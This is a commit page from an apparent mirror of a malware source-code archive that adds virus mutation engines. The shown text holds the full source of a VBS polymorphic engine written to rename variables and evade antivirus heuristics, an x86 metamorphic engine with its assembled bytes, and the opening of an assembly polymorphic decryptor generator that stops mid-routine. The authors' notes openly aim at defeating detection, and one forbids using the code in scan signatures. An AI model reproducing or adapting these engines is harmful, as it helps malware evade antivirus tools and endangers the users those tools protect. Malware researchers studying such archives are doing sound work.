mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
Add files via upload
This commit is contained in:
parent
3b1112577c
commit
930c435323
BIN
Engines/Virus.BAT.Poly.7z
Normal file
BIN
Engines/Virus.BAT.Poly.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Linux.Lime.7z
Normal file
BIN
Engines/Virus.Linux.Lime.7z
Normal file
Binary file not shown.
73
Engines/Virus.VBS.KVPE.txt
Normal file
73
Engines/Virus.VBS.KVPE.txt
Normal file
@ -0,0 +1,73 @@
|
||||
Kefi's VBS Polymorphic Engine v0.1
|
||||
[KVPE]
|
||||
January 24, 2003
|
||||
Kefi.[rRlf]
|
||||
-
|
||||
|
||||
How to use KVPE:
|
||||
1. Make a list of every variable in your VBS file
|
||||
2. Add it them at the line given
|
||||
3. Add the following code to the bottom of your VBS file
|
||||
|
||||
-
|
||||
|
||||
Significance:
|
||||
This script will replace your variables with a randomly created string with
|
||||
a random length. By doing this Anti-Viruses will not be able to pick them
|
||||
up with heuristic scanning, or by the file's size.
|
||||
|
||||
-
|
||||
|
||||
Disclaimer:
|
||||
This code is for educational purposes only. I will not be held responsible
|
||||
for your actions with this script.
|
||||
If you are to use this script in your VBS file you MUST contact me first. I
|
||||
do not want this method spread.
|
||||
|
||||
-
|
||||
|
||||
Note:
|
||||
On run this file will create new varibles in your file, which will be hard
|
||||
to work with, I sujest not running the file until it is finished.
|
||||
|
||||
-
|
||||
|
||||
Contact Me:
|
||||
e-Mail - kefi@rRlf.de
|
||||
HTTP - http://vx.netlux.org/~kefi
|
||||
VX Group - http://rRlf.de
|
||||
|
||||
'---------------- KVPE Code Starts ----------------
|
||||
randomize
|
||||
set fso=createobject("scripting.filesystemobject")
|
||||
set vbsfile=fso.opentextfile(wscript.scriptfullname,1,false)
|
||||
code=vbsfile.readall
|
||||
vars=array("code","vars","var","newlet","num","newlet","fso","vbsfile") '<--- Add all of your varibles here, but do not take any of the ones already in out because if you do the script will not work.
|
||||
for each var in vars
|
||||
for num=1 to int(rnd*14) + 2
|
||||
if int(rnd*2)+1=1 then
|
||||
newlet=newlet& ucase(chr((int(rnd*22)+97)))
|
||||
if int(rnd*2)+1=1 then
|
||||
newlet=newlet & int(rnd*int(rnd*4))
|
||||
end if
|
||||
else
|
||||
newlet=newlet&lcase(chr((int(rnd*22)+97)))
|
||||
if int(rnd*2)+1=1 then
|
||||
newlet=newlet&int(rnd *2)
|
||||
else
|
||||
newlet=newlet&int(rnd*int(rnd*6))
|
||||
end if
|
||||
end if
|
||||
next
|
||||
code=replace(code,var,newlet)
|
||||
newlet=""
|
||||
next
|
||||
set vbsfile=fso.opentextfile(wscript.scriptfullname,2,false)
|
||||
vbsfile.write code
|
||||
'---------------- KVPE Code Stops ----------------
|
||||
|
||||
A newer version may be expected in the future, goto http://vx.netlux.org/~kefi for
|
||||
updates.
|
||||
|
||||
Regards,
|
||||
Kefi.[rRlf]
|
BIN
Engines/Virus.Win32.Abme.7z
Normal file
BIN
Engines/Virus.Win32.Abme.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Alma.7z
Normal file
BIN
Engines/Virus.Win32.Alma.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Antisocial.7z
Normal file
BIN
Engines/Virus.Win32.Antisocial.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Antiweb.7z
Normal file
BIN
Engines/Virus.Win32.Antiweb.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Ape.7z
Normal file
BIN
Engines/Virus.Win32.Ape.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Benny.a.7z
Normal file
BIN
Engines/Virus.Win32.Benny.a.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Bi-Perm.7z
Normal file
BIN
Engines/Virus.Win32.Bi-Perm.7z
Normal file
Binary file not shown.
325
Engines/Virus.Win32.Blm.asm
Normal file
325
Engines/Virus.Win32.Blm.asm
Normal file
@ -0,0 +1,325 @@
|
||||
; BLM ~ BlueOwls Light Meta
|
||||
; *************************
|
||||
;
|
||||
; Details
|
||||
;
|
||||
; Name: BLM (BlueOwls Light Meta)
|
||||
; Date: 16 May 2005
|
||||
; Size: 412 bytes
|
||||
; Morphing power: light
|
||||
; Morphing type: non-expansion
|
||||
; Compatibility: most common x86 and pentium specific (rdtsc/movzx/..)
|
||||
; Platforms: all 32bit (and maybe 16bit) x86 instruction set OSes
|
||||
; Used compiler: FASM 1.60
|
||||
; Bugs: hopefully none
|
||||
;
|
||||
; Morphing
|
||||
;
|
||||
; The following instructions can be morphed:
|
||||
;
|
||||
; 1. OP reg, reg -> changing the D bit (2)
|
||||
; 2. OP (reg,) [(imm32+)reg] -> changing the unused SCALE bits (4)
|
||||
; 3. OP (reg,) [(imm32+)reg+reg*1] -> swapping the regs (2)
|
||||
;
|
||||
; Any other instruction's size is calculated and skipped.
|
||||
;
|
||||
; Usage notes
|
||||
;
|
||||
; BLM can be usefull for any application which would like to do code
|
||||
; morphing on its own, or other code. There are however, some things
|
||||
; to keep note on:
|
||||
;
|
||||
; - Make sure you don't mix data with code, for example:
|
||||
; > CALL _LABEL
|
||||
; > DB "some string",0
|
||||
; > _LABEL:
|
||||
; Would make the meta miscorrectly assume "some string",0 to be
|
||||
; code. So make sure that in the codearea you specify is no data.
|
||||
; - On input, esi is allowed to equal edi, but it is not recommended
|
||||
; if it will cause the meta to morph itself on runtime.
|
||||
; - This code does not need any data, and only needs to be able to
|
||||
; execute. It is completely permutatable.
|
||||
;
|
||||
; Agreement
|
||||
;
|
||||
; This sourcecode is meant to be used in freeware and shareware
|
||||
; programs, and therefor it is strictly prohibited to add any of this
|
||||
; code in binary or source format in scan strings or other detection
|
||||
; methods. If done, it will impact on the sellability of the product,
|
||||
; and can result in high fees and/or trials before court.
|
||||
; YOU HAVE BEEN WARNED
|
||||
|
||||
use32
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ META SOURCE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
; in: esi(ecx) = start of code to morph
|
||||
; edi(ecx) = start of buffer to put morphed code in
|
||||
; ecx = size of code to morph (and buffer)
|
||||
; out: esi = esi + ecx
|
||||
; edi = edi + ecx
|
||||
; other registers are destroyed (except esp)
|
||||
|
||||
BLM: cld
|
||||
lea ebx, [esi+ecx] ; ebx = ptr to end of code to morph
|
||||
nextcode: push ebx
|
||||
xor ecx, ecx
|
||||
push 4
|
||||
pop ebx
|
||||
call .innext
|
||||
pop ebx
|
||||
rol edx, 7 ; simple RAND function
|
||||
neg dx
|
||||
cmp ebx, esi
|
||||
ja nextcode
|
||||
ret
|
||||
|
||||
.next: movsb
|
||||
.innext: mov al, [esi]
|
||||
and al, 11100111b
|
||||
cmp al, 00100110b ; es/cs/ss/ds segment?
|
||||
jz .next ; check if more
|
||||
mov al, [esi]
|
||||
and al, 11111110b
|
||||
cmp al, 01100100b ; fs/gs segment?
|
||||
jz .next ; check if more
|
||||
cmp al, 11110010b ; repz/repnz?
|
||||
jz .next ; check if more
|
||||
cmp al, 01100110b ; WORD?
|
||||
jnz opcode
|
||||
mov bl, 2 ; set WORD size
|
||||
jmp .next
|
||||
|
||||
; -----------------------------------------------------------------------
|
||||
|
||||
opcode: mov al, [esi]
|
||||
cmp al, 0fh
|
||||
jnz branch_start
|
||||
movsb
|
||||
or al, [esi] ; ????1111
|
||||
cmp al, 10001111b
|
||||
jz .6byte ; -> jxx label32
|
||||
cmp al, 10111111b
|
||||
jz .3byte ; -> movzx/bt?
|
||||
jmp .done
|
||||
.6byte: movsb
|
||||
movsb
|
||||
movsb
|
||||
.3byte: movsb
|
||||
.done: movsb
|
||||
ret
|
||||
branch_start: shl al, 1
|
||||
jc branch_1xxxxxxx
|
||||
branch_0xxxxxxx:shl al, 1
|
||||
jc branch_01xxxxxx
|
||||
branch_00xxxxxx:shl al, 4
|
||||
jnc op_rmrm_d
|
||||
op_eax: mov al, [esi]
|
||||
shr al, 1
|
||||
jc .pr32
|
||||
movsb
|
||||
movsb
|
||||
ret ; -> op al, imm8
|
||||
.pr32: add ecx, ebx ; -> op eax, imm32
|
||||
rep movsb
|
||||
movsb
|
||||
ret
|
||||
branch_01xxxxxx:cmp al, 11000000b
|
||||
jb .ncjump
|
||||
movsb ; -> jxx label8
|
||||
.ncjump: cmp al, 068h
|
||||
jz do_5byte ; -> push imm32
|
||||
cmp al, 06ah
|
||||
jnz .done ; -> popad/pushad/pop/push/dec/inc (reg)
|
||||
stosb ; -> push imm8
|
||||
.done: movsb
|
||||
ret
|
||||
|
||||
op_rmrm_d: mov al, [esi+1] ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,r/m
|
||||
rcr edx, 1 ; rand true/false
|
||||
jc .nomorph
|
||||
cmp al, 11000000b
|
||||
.nomorph: jb op_rm ; (jc == jb so little optimization)
|
||||
lodsb
|
||||
xor al, 00000010b
|
||||
stosb
|
||||
lodsb
|
||||
and eax, 00111111b ; 00000000 00regreg
|
||||
shl eax, 5 ; 00000reg reg00000
|
||||
shr al, 2 ; 00000reg 00reg000
|
||||
or al, ah ; 00000xxx 00regreg
|
||||
or al, 11000000b ; 11regreg
|
||||
stosb
|
||||
ret
|
||||
|
||||
branch_1xxxxxxx:shl al, 1
|
||||
jc branch_11xxxxxx
|
||||
branch_10xxxxxx:shl al, 1
|
||||
jc branch_101xxxxx
|
||||
branch_100xxxxx:shl al, 1
|
||||
jc branch_01xxxxxx.ncjump ; -> xchg eax,reg/cwde/cdq/pushf/popf/sahf/lahf
|
||||
branch_1000xxxx:cmp al, 01000000b
|
||||
jae op_rm ; -> test/xchg/mov/lea/pop r/m(,r/m)
|
||||
shl al, 3
|
||||
jc op_rmimm8 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm8
|
||||
jmp op_rmimm32 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm32
|
||||
branch_101xxxxx:shl al, 1
|
||||
jc branch_1011xxxx
|
||||
branch_1010xxxx:and al, 11100000b
|
||||
cmp al, 00100000b
|
||||
jb op_eax ; -> test eax, imm
|
||||
cmp al, 10000000b
|
||||
jz do_5byte ; -> mov mem32, eax
|
||||
movsb
|
||||
ret ; -> movs/stos/lods/scas
|
||||
branch_1011xxxx:shl al, 1
|
||||
jnc branch_1100001x.2byte ; -> mov reg, imm8
|
||||
jmp op_eax.pr32 ; -> mov reg, imm32
|
||||
do_5byte: movsd
|
||||
movsb
|
||||
ret
|
||||
branch_11xxxxxx:shl al, 1
|
||||
jc branch_111xxxxx
|
||||
branch_110xxxxx:shl al, 1
|
||||
jc branch_1101xxxx
|
||||
branch_1100xxxx:cmp al, 11010000b
|
||||
jz branch_1100001x.2byte ; -> int imm8
|
||||
shl al, 1
|
||||
jc branch_1100001x.done ; -> leave/int 3
|
||||
branch_11000xxx:shl al, 1
|
||||
jc op_rm_w ; -> mov r/m, imm
|
||||
branch_110000xx:shl al, 1
|
||||
jc branch_1100001x
|
||||
inc ecx ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1
|
||||
jmp op_rm
|
||||
branch_1100001x:shl al, 1
|
||||
jc .done
|
||||
.3byte: movsb
|
||||
.2byte: movsb ; -> ret imm16
|
||||
.done: movsb
|
||||
ret ; -> ret
|
||||
branch_1101xxxx:shl al, 2
|
||||
jc branch_1100001x.done ; -> xlatb
|
||||
branch_1101x0xx:jmp op_rm ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1
|
||||
|
||||
branch_111xxxxx:shl al, 1
|
||||
jc branch_1111xxxx
|
||||
branch_1110xxxx:shl al, 1
|
||||
jnc branch_11101010 ; -> loop label
|
||||
branch_11101xxx:cmp al, 00100000b
|
||||
jz branch_111010x0.done ; -> call label
|
||||
branch_111010x0:shl al, 2
|
||||
jc branch_11101010
|
||||
.done: movsd ; -> jmp label32
|
||||
movsb
|
||||
ret
|
||||
branch_11101010:movsb
|
||||
movsb
|
||||
ret ; -> jmp label8
|
||||
branch_1111xxxx:shl al, 1
|
||||
jc branch_11111xxx
|
||||
branch_11110xxx:shl al, 2
|
||||
jnc branch_11111xxx.done ; -> cmc
|
||||
branch_11111x1x:mov al, [esi+1] ; al = modr/m
|
||||
and al, 00111000b
|
||||
jnz op_rm ; -> not/mul/div/idiv
|
||||
jmp op_rm_w ; -> test
|
||||
branch_11111xxx:shl al, 1
|
||||
jc .done ; -> clc/stc/cli
|
||||
shr al, 1
|
||||
jc op_rm ; -> inc/dec/call/jmp/push
|
||||
.done: movsb
|
||||
ret ; -> cld/std
|
||||
|
||||
; -----------------------------------------------------------------------
|
||||
|
||||
op_rm_w: mov al, [esi]
|
||||
shr al, 1
|
||||
jnc op_rmimm8
|
||||
op_rmimm32: add ecx, ebx ; imm length will be 4 or 2
|
||||
dec ecx
|
||||
op_rmimm8: inc ecx ; imm length = 1 byte
|
||||
op_rm: movsb
|
||||
lodsb
|
||||
stosb
|
||||
cmp al, 11000000b ; op reg, reg
|
||||
jae .done
|
||||
mov ah, al
|
||||
and al, 111b
|
||||
shr ah, 6
|
||||
jz .regaddr
|
||||
cmp ah, 00000001b
|
||||
jz .ddone
|
||||
add ecx, 3 ; op reg, [reg+dword]
|
||||
.ddone: inc ecx ; op reg, [reg+byte]
|
||||
.cmpsib: cmp al, 00000100b
|
||||
jnz .done
|
||||
xor ebx, ebx
|
||||
mov eax, ebx
|
||||
lodsb ; 00000000 iiregreg
|
||||
shl eax, 2 ; 000000ii regreg00
|
||||
xchg bl, ah ; 00000000 regreg00
|
||||
shl eax, 3 ; 00000reg reg00000
|
||||
shr al, 5 ; 00000reg 00000reg
|
||||
cmp ah, 4
|
||||
jz .randindex
|
||||
cmp al, 4
|
||||
jz .nosib
|
||||
or bl, bl ; index = 1?
|
||||
jnz .nosib
|
||||
rcr edx, 1
|
||||
jnc .nosib ; randomly abort switch
|
||||
xchg al, ah
|
||||
jmp .nosib
|
||||
.randindex: mov bl, dl ; index is random
|
||||
and bl, 00000011b
|
||||
.nosib: shl al, 5 ; 00000reg reg00000
|
||||
shr eax, 3 ; 00000000 regreg00
|
||||
mov ah, bl ; 000000ii regreg00
|
||||
shr eax, 2 ; 00000000 iiregreg
|
||||
stosb
|
||||
.done: rep movsb
|
||||
ret
|
||||
.regaddr: cmp al, 00000101b ; op reg, [dword]
|
||||
jnz .cmpsib
|
||||
movsd
|
||||
jmp .done
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ META BINARY ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
; in: esi(ecx) = start of code to morph
|
||||
; edi(ecx) = start of buffer to put morphed code in
|
||||
; ecx = size of code to morph (and buffer)
|
||||
; out: esi = esi + ecx
|
||||
; edi = edi + ecx
|
||||
; other registers are destroyed (except esp)
|
||||
|
||||
BLM: db 252,141,28,14,83,49,201,106,4,91,232,13,0,0,0,91
|
||||
db 193,194,7,102,247,218,57,243,119,234,195,164,138,6,36,231
|
||||
db 60,38,116,247,138,6,36,254,60,100,116,239,60,242,116,235
|
||||
db 60,102,117,4,179,2,235,227,138,6,60,15,117,19,164,10
|
||||
db 6,60,143,116,6,60,191,116,5,235,4,164,164,164,164,164
|
||||
db 195,208,224,114,75,208,224,114,20,192,224,4,115,31,138,6
|
||||
db 208,232,114,3,164,164,195,1,217,243,164,164,195,60,192,114
|
||||
db 1,164,60,104,116,95,60,106,117,1,170,164,195,138,70,1
|
||||
db 209,218,114,2,60,192,15,130,179,0,0,0,172,52,2,170
|
||||
db 172,131,224,63,193,224,5,192,232,2,8,224,12,192,170,195
|
||||
db 208,224,114,52,208,224,114,23,208,224,114,198,60,64,15,131
|
||||
db 139,0,0,0,192,224,3,15,130,129,0,0,0,235,124,208
|
||||
db 224,114,12,36,224,60,32,114,149,60,128,116,8,164,195,208
|
||||
db 224,115,37,235,146,165,164,195,208,224,114,38,208,224,114,27
|
||||
db 60,208,116,20,208,224,114,17,208,224,114,73,208,224,114,3
|
||||
db 65,235,76,208,224,114,2,164,164,164,195,192,224,2,114,249
|
||||
db 235,61,208,224,114,19,208,224,115,12,60,32,116,5,192,224
|
||||
db 2,114,3,165,164,195,164,164,195,208,224,114,14,192,224,2
|
||||
db 115,17,138,70,1,36,56,117,22,235,10,208,224,114,4,208
|
||||
db 232,114,12,164,195,138,6,208,232,115,3,1,217,73,65,164
|
||||
db 172,170,60,192,115,76,136,196,36,7,192,236,6,116,70,128
|
||||
db 252,1,116,3,131,193,3,65,60,4,117,54,49,219,137,216
|
||||
db 172,193,224,2,134,220,193,224,3,192,232,5,128,252,4,116
|
||||
db 16,60,4,116,17,8,219,117,13,209,218,115,9,134,196,235
|
||||
db 5,136,211,128,227,3,192,224,5,193,232,3,136,220,193,232
|
||||
db 2,170,243,164,195,60,5,117,191,165,235,246
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
862
Engines/Virus.Win32.Chaos.ASM
Normal file
862
Engines/Virus.Win32.Chaos.ASM
Normal file
@ -0,0 +1,862 @@
|
||||
radix 16
|
||||
|
||||
;*****************************************
|
||||
;* T.H.E - C.H.A.O.S - E.N.G.I.N.E - 0.4 *
|
||||
;*****************************************
|
||||
;1995 - Sepultura - Australia
|
||||
;;
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
;;;on CALLing of TCE -
|
||||
;;;AX = TCE Flags:1 - Pad To DECRYPTOR_LENGTH.
|
||||
;;; 2 - Make Short Decryptor (No Junk).
|
||||
;;; 4 - Add Segment Overide.
|
||||
;;;
|
||||
;;;CX = Length of Code to Encrypt.
|
||||
;;;DX = Delta Offset.
|
||||
;;;DS:SI = Code to encrypt (DS _MUST_ = CS).
|
||||
;;;ES:DI = Location of Buffer to Create Decryptor in.
|
||||
;;;
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
;;;ON RETURN:
|
||||
;;;ES = DS = Segment of Decryptor / Encrypted Code
|
||||
;;;DX = Pointer to Start of Code
|
||||
;;;CX = Length of Code
|
||||
;;;;;;;;;;;;;;;;;;;
|
||||
;;;Flag EQUates
|
||||
|
||||
MAKE_SMALL equ 1
|
||||
PAD_TO_MAX equ 2
|
||||
ADD_SEG equ 4
|
||||
|
||||
;;;;;;;;;;;;;;;;;;;
|
||||
;;;W.H.A.T.E.V.E.R
|
||||
|
||||
DECRYPTOR_LENGTH equ 190h
|
||||
MAX_PADDING equ 90h - 1f
|
||||
length_1 equ (offset int_tbl - offset one_byters)-1
|
||||
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
;;;REGISTER TABLE - INTEL STANDLE FORMAT
|
||||
|
||||
tce_AX equ 0000xB
|
||||
tce_CX equ 0001xB
|
||||
tce_DX equ 0010xB
|
||||
tce_BX equ 0011xB
|
||||
tce_SP equ 0100xB
|
||||
tce_BP equ 0101xB
|
||||
tce_SI equ 0110xB
|
||||
tce_DI equ 0111xB
|
||||
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
;;;THe BeLoW InSTuCTiOn CaN KilL A MaN
|
||||
|
||||
db '[TCE-0.4]',0
|
||||
|
||||
;*****************************************************
|
||||
;*****************************************************
|
||||
;*** The REAL _REAL_ START of THE CHAOS ENGINE 0.4 ***
|
||||
;*****************************************************
|
||||
;*****************************************************
|
||||
|
||||
tce: push ax,bx,bp
|
||||
push di,si
|
||||
|
||||
cld
|
||||
|
||||
mov tce_begin,di
|
||||
mov tce_delta,dx
|
||||
mov c_length,cx
|
||||
mov tce_flags,ax
|
||||
call clear_regs
|
||||
mov B index_sub,0
|
||||
|
||||
mov B[offset more_junk],0b0
|
||||
test W tce_flags,MAKE_SMALL
|
||||
if nz mov B[offset more_junk],0c3
|
||||
|
||||
push si
|
||||
call get_rand_1f
|
||||
add ax,MAX_PADDING
|
||||
xchg cx,ax
|
||||
call more_junk
|
||||
|
||||
swap0: mov si,offset init_1
|
||||
lodsw
|
||||
call binary
|
||||
jz no_swap1
|
||||
xchg ax,[si]
|
||||
mov [si-2],ax
|
||||
|
||||
no_swap1:
|
||||
push ax
|
||||
lodsw
|
||||
call binary
|
||||
jnz no_swap2
|
||||
xchg ax,[si]
|
||||
mov [si-2],ax
|
||||
|
||||
no_swap2:
|
||||
push ax
|
||||
lodsw
|
||||
lodsw
|
||||
call binary
|
||||
jz build_code
|
||||
xchg ax,[si]
|
||||
mov [si-2],ax
|
||||
|
||||
build_code:
|
||||
pop ax
|
||||
call ax
|
||||
call pad_10
|
||||
pop ax
|
||||
call ax
|
||||
call pad_10
|
||||
call W init_3
|
||||
call pad_10
|
||||
call gen_decrypt
|
||||
call pad_8
|
||||
call W init_4
|
||||
call pad_8
|
||||
call W init_5
|
||||
call pad_10
|
||||
call gen_loop
|
||||
call pad_8
|
||||
|
||||
test W tce_flags,PAD_TO_MAX
|
||||
jz no_padding
|
||||
|
||||
mov B[offset more_junk],0b0
|
||||
mov cx,DECRYPTOR_LENGTH
|
||||
add cx,tce_begin
|
||||
sub cx,di
|
||||
call more_junk
|
||||
|
||||
no_padding:
|
||||
mov ax,di
|
||||
sub ax,DECRYPTOR_LENGTH
|
||||
add enc_index,ax
|
||||
mov bx,W index_loc
|
||||
cmp B index_sub,1
|
||||
if e neg ax
|
||||
add es:[bx],ax
|
||||
|
||||
pop si
|
||||
mov cx,c_length
|
||||
rep movsb
|
||||
mov dx,tce_begin
|
||||
mov ds,es
|
||||
call encryptor
|
||||
mov cx,di
|
||||
sub cx,dx
|
||||
|
||||
pop si,di
|
||||
pop bp,bx,ax
|
||||
ret
|
||||
|
||||
init_count: ;Initialises Count Register..
|
||||
call get_unused_reg ;Make Count Initialiser in Encryptor and
|
||||
cmp al,tce_DX
|
||||
je init_count
|
||||
mov count_reg,al ;Decryptor
|
||||
mov bx,W c_length
|
||||
shr bx,1
|
||||
mov W enc_length,bx
|
||||
call gen_mov_reg
|
||||
ret
|
||||
|
||||
init_index: ;Initialises Index Register..
|
||||
mov ax,0ff ;Makes Index Initialiser in Encryptor and
|
||||
call get_rand ;Decryptor..
|
||||
push ax
|
||||
call get_rand_7
|
||||
pop ax
|
||||
if z xor ax,ax
|
||||
mov B index_off,al
|
||||
mov bx,DECRYPTOR_LENGTH
|
||||
add bx, tce_begin
|
||||
mov W enc_index,bx
|
||||
add bx, tce_delta
|
||||
cbw
|
||||
sub bx,ax
|
||||
|
||||
get_index:
|
||||
call get_unused_reg
|
||||
cmp al,tce_BX
|
||||
jb get_index
|
||||
mov W index_num,ax
|
||||
mov B index_reg,al
|
||||
mov B index_set,1
|
||||
call gen_mov_reg
|
||||
mov B index_set,0
|
||||
ret
|
||||
|
||||
gen_decrypt: ;generates DECRYPTOR / ENCRYPTOR instruction
|
||||
mov W loop_start,di
|
||||
call pad_8
|
||||
mov bl,B key_reg
|
||||
sal bl,3
|
||||
call get_rand_2
|
||||
add ax,ax
|
||||
add ax,offset enc_table
|
||||
xchg si,ax
|
||||
lodsw
|
||||
call binary
|
||||
if z xchg ah,al
|
||||
push ax
|
||||
cmp si,offset enc_table + 2
|
||||
jne no_carry_set
|
||||
mov al,0f8
|
||||
call binary
|
||||
if z inc ax
|
||||
mov B enc_cf,al
|
||||
stosb
|
||||
|
||||
no_carry_set:
|
||||
test W tce_flags,ADD_SEG
|
||||
jz no_seg_set
|
||||
mov al,2e
|
||||
stosb
|
||||
|
||||
no_seg_set:
|
||||
pop ax
|
||||
stosb
|
||||
mov B enc_loop,ah
|
||||
mov si,W index_num
|
||||
|
||||
cmp B index_reg,tce_BP
|
||||
je encryptor_has_offset
|
||||
cmp B index_off,0
|
||||
jne encryptor_has_offset
|
||||
push ax
|
||||
call get_rand_7
|
||||
pop ax
|
||||
jz encryptor_has_offset
|
||||
add si,index_tab_c
|
||||
lodsb
|
||||
or al,bl
|
||||
stosb
|
||||
ret
|
||||
|
||||
encryptor_has_offset:
|
||||
add si,index_tab_b
|
||||
lodsb
|
||||
or al,bl
|
||||
mov ah,B index_off
|
||||
or al,bl
|
||||
stosw
|
||||
xchg al,ah
|
||||
cbw
|
||||
call binary
|
||||
jnz ret
|
||||
mov al,ah
|
||||
stosb
|
||||
add es:B[di-3],40
|
||||
ret
|
||||
|
||||
modify_key: ;Modify Key: XOR/ADD/SUB key_reg,xxxx
|
||||
call get_rand_7
|
||||
jz no_mod_key
|
||||
call get_rand_2
|
||||
add ax,offset modify_table
|
||||
xchg si,ax
|
||||
lodsb
|
||||
mov ah,al
|
||||
mov al,81
|
||||
mov W enc_mod_op,ax
|
||||
or ah,B key_reg
|
||||
stosw
|
||||
call get_any_rand
|
||||
stosw
|
||||
|
||||
no_mod_key:
|
||||
mov W enc_mod_val,ax
|
||||
|
||||
ret
|
||||
|
||||
inc_index: ;increase index by 2..
|
||||
call binary ;1 in 2 chance of ADD reg,2/SUB reg,-2
|
||||
jz add_sub_index
|
||||
|
||||
mov al,B index_reg
|
||||
or al,40
|
||||
stosb
|
||||
call pad_8
|
||||
stosb
|
||||
ret
|
||||
|
||||
add_sub_index:
|
||||
mov al,83
|
||||
stosb
|
||||
mov ah,2
|
||||
mov al,B index_reg
|
||||
or al,0c0
|
||||
|
||||
call binary
|
||||
jnz put_add_sub_index
|
||||
|
||||
neg ah
|
||||
or al,0e8
|
||||
|
||||
put_add_sub_index:
|
||||
stosw
|
||||
ret
|
||||
|
||||
gen_loop:
|
||||
mov al,B count_reg
|
||||
cmp al,tce_CX
|
||||
jne not_CX
|
||||
|
||||
push ax
|
||||
call get_rand_7
|
||||
pop ax
|
||||
jz not_CX
|
||||
|
||||
lea bx,[di+2]
|
||||
mov ax,W loop_start
|
||||
sub ax,bx
|
||||
mov ah,0e2
|
||||
call binary
|
||||
jnz no_loop_nz
|
||||
xchg bp,ax
|
||||
jmp short do_loop_nz
|
||||
|
||||
no_loop_nz:
|
||||
xchg ah,al
|
||||
stosw
|
||||
ret
|
||||
|
||||
not_CX: xchg bx,ax
|
||||
|
||||
call binary
|
||||
jz count_add_sub
|
||||
|
||||
mov al,48
|
||||
or al,bl
|
||||
stosb
|
||||
jmp short zero_test
|
||||
|
||||
|
||||
count_add_sub:
|
||||
mov al,83
|
||||
stosb
|
||||
mov ah,-1
|
||||
mov al,bl
|
||||
or al,0c0
|
||||
|
||||
call binary
|
||||
jnz put_add_sub_count
|
||||
|
||||
neg ah
|
||||
or al,0e8
|
||||
|
||||
put_add_sub_count:
|
||||
stosw
|
||||
xor bp,bp
|
||||
push ax
|
||||
call get_rand_7
|
||||
pop ax
|
||||
jz nloop_nz
|
||||
|
||||
zero_test:
|
||||
call pad_10
|
||||
xor bp,bp
|
||||
do_loop_nz:
|
||||
mov al,B count_reg
|
||||
mov bl,al
|
||||
sal al,3
|
||||
or al,bl
|
||||
xchg ah,al
|
||||
mov bh,ah
|
||||
call get_rand_2
|
||||
add ax,offset zero_test_a
|
||||
xchg si,ax
|
||||
lodsb
|
||||
mov ah,bh
|
||||
or ah,0c0
|
||||
stosw
|
||||
|
||||
nloop_nz:
|
||||
lea bx,[di+2]
|
||||
mov ax,W loop_start
|
||||
sub ax,bx
|
||||
or bp,bp
|
||||
jnz loop_nz
|
||||
mov ah,075
|
||||
call binary
|
||||
jnz nnnn
|
||||
mov B es:[di],0f8
|
||||
inc di
|
||||
sub ax,0fe01
|
||||
db 0a9
|
||||
|
||||
loop_nz:mov ah,0e0
|
||||
|
||||
|
||||
nnnn: xchg ah,al
|
||||
stosw
|
||||
ret
|
||||
|
||||
init_key:
|
||||
call get_any_rand
|
||||
mov W enc_key,ax
|
||||
xchg bx,ax
|
||||
call get_unused_reg
|
||||
mov B key_reg,al
|
||||
|
||||
gen_mov_reg:
|
||||
call binary
|
||||
jz lea_mov
|
||||
|
||||
or al,0b8
|
||||
stosb
|
||||
xchg ax,bx
|
||||
jmp short put_mov_b
|
||||
|
||||
lea_mov:call binary
|
||||
jz zero_then_add
|
||||
|
||||
sal al,3
|
||||
or al,06
|
||||
mov ah,8d
|
||||
xchg ah,al
|
||||
stosw
|
||||
xchg ax,bx
|
||||
jmp short put_mov_b
|
||||
|
||||
zero_then_add: ;Zero Register (XOR/SUB reg,reg)
|
||||
push bx ;Then OR/XOR/ADD Value
|
||||
push ax ;or SUB -Value
|
||||
mov ah,0c0
|
||||
or ah,al
|
||||
sal al,3
|
||||
or ah,al
|
||||
mov al,29
|
||||
call binary
|
||||
if z mov al,31
|
||||
stosw
|
||||
call pad_10
|
||||
pop bx
|
||||
call get_rand_2
|
||||
add ax,offset value_from_0
|
||||
xchg si,ax
|
||||
lodsb
|
||||
call binary
|
||||
jz zero_then_sub
|
||||
|
||||
or al,bl
|
||||
mov ah,81
|
||||
xchg ah,al
|
||||
stosw
|
||||
pop ax
|
||||
|
||||
put_mov_b:
|
||||
cmp B index_set,01
|
||||
if e mov W index_loc,di
|
||||
stosw
|
||||
ret
|
||||
|
||||
zero_then_sub:
|
||||
